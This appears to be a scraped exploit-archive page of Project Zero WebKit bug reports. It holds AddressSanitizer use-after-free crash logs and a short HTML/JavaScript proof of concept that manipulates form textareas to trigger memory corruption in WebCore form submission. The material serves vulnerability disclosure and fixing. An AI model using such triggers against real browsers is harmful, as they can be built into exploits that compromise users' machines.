    #28 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #29 0x10ffc956c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #30 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x6110000889c8 is located 136 bytes inside of 240-byte region [0x611000088940,0x611000088a30)
freed by thread T0 here:
    #0 0x113395294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x123825650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x11550fb0e in WTF::RefPtr<WebCore::Frame>::operator=(std::nullptr_t) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8c0b0e)
    #3 0x1175d56e9 in WebCore::ResourceLoader::releaseResources() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29866e9)
    #4 0x1175d882c in WebCore::ResourceLoader::cancel(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298982c)
    #5 0x1154672b9 in WebCore::DocumentLoader::cancelMainResourceLoad(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8182b9)
    #6 0x115469d2b in WebCore::DocumentLoader::stopLoadingForPolicyChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81ad2b)
    #7 0x11546a995 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81b995)
    #8 0x1108c81b5 in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForResponse(WebCore::ResourceResponse const&, WebCore::ResourceRequest const&, WTF::Function<void (WebCore::PolicyAction)>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77e1b5)
    #9 0x115468e8a in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x819e8a)
    #10 0x114edcdb7 in WebCore::CachedRawResource::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28ddb7)
    #11 0x1179b42a2 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d652a2)
    #12 0x1175da5da in auto WebCore::ResourceLoader::loadDataURL()::$_0::operator()<std::optional<WebCore::DataURLDecoder::Result> >(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298b5da)
    #13 0x1175d9fba in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_0>::call(std::optional<WebCore::DataURLDecoder::Result>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298afba)
    #14 0x11535729a in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70829a)
    #15 0x11535709b in WebCore::DataURLDecoder::DecodingResultDispatcher::timerFired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70809b)
    #16 0x1237d767d in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d2467d)
    #17 0x7fff8c5dfc53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #18 0x7fff8c5df8de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #19 0x7fff8c5df439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #20 0x7fff8c5d6b80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #21 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #22 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #23 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #24 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #25 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #26 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #27 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #28 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #29 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)

previously allocated by thread T0 here:
    #0 0x113394d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x123825ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x123823d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1237aa247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x1237a963a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x114da35b8 in WTF::ThreadSafeRefCountedBase::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1545b8)
    #7 0x115789203 in WebCore::Frame::create(WebCore::Page*, WebCore::HTMLFrameOwnerElement*, WebCore::FrameLoaderClient*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3a203)
    #8 0x1108b8f00 in WebKit::WebFrame::createSubframe(WebKit::WebPage*, WTF::String const&, WebCore::HTMLFrameOwnerElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x76ef00)
    #9 0x1108d12eb in WebKit::WebFrameLoaderClient::createFrame(WebCore::URL const&, WTF::String const&, WebCore::HTMLFrameOwnerElement&, WTF::String const&, bool, int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x7872eb)
    #10 0x1179a820f in WebCore::SubframeLoader::loadSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::String const&, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d5920f)
    #11 0x1179a637e in WebCore::SubframeLoader::loadOrRedirectSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d5737e)
    #12 0x1179a5f57 in WebCore::SubframeLoader::requestFrame(WebCore::HTMLFrameOwnerElement&, WTF::String const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d56f57)
    #13 0x1159cb45e in WebCore::HTMLFrameElementBase::openURL(WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7c45e)
    #14 0x11501be08 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cce08)
    #15 0x11501a396 in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb396)
    #16 0x115961cdc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd12cdc)
    #17 0x11595aea7 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0bea7)
    #18 0x11598ac8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #19 0x11598a849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #20 0x1159899c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #21 0x11598b4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #22 0x115369531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #23 0x1154a663d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #24 0x115467736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #25 0x114ee3047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #26 0x114edbdf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #27 0x1179b3661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #28 0x110c5d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #29 0x110c606d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x45a56) in WTF::UniqueRef<WebCore::FrameLoader>::get()
Shadow bytes around the buggy address:
  0x1c22000110e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c22000110f0: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2200011100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011110: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011120: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x1c2200011130: fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd
  0x1c2200011140: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa
  0x1c2200011150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011170: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c2200011180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==689==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1355

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  form.submit();
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>

<!--
=================================================================

ASan log:

=================================================================
==934==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000b9810 at pc 0x000114b6f49c bp 0x7fff511323f0 sp 0x7fff511323e8
READ of size 8 at 0x60c0000b9810 thread T0
==934==WARNING: invalid path to external symbolizer!
==934==WARNING: Failed to use and restart external symbolizer!
    #0 0x114b6f49b in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b)
    #1 0x114daba4b in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd73a4b)
    #2 0x1157ef370 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b7370)
    #3 0x1157ec668 in long long WebCore::IDLOperation<WebCore::JSHTMLFormElement>::call<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b4668)
    #4 0x354389601027  (<unknown module>)
    #5 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #6 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #7 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #8 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #9 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #10 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #11 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #12 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #13 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #14 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #15 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #16 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #17 0x1148d2051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #18 0x1148e1c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #19 0x1147d4b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #20 0x1147cebad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #21 0x114b813ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #22 0x114b7e75c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #23 0x1147ee523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #24 0x114d725d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #25 0x11488f693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #26 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #27 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #28 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #29 0x116d9c661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #30 0x10f5fa43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #31 0x10f5fd6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #32 0x10f5fcbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #33 0x10edee117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #34 0x10ebcd695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #35 0x10ebd6a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #36 0x122bbe8e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #37 0x122bbf1b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #38 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #39 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #40 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #41 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #42 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #43 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #44 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #45 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #46 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #47 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #48 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #49 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #50 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #51 0x10eaca56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #52 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x60c0000b9810 is located 16 bytes inside of 128-byte region [0x60c0000b9800,0x60c0000b9880)
freed by thread T0 here:
    #0 0x111d32294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x122c0e650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #3 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #4 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
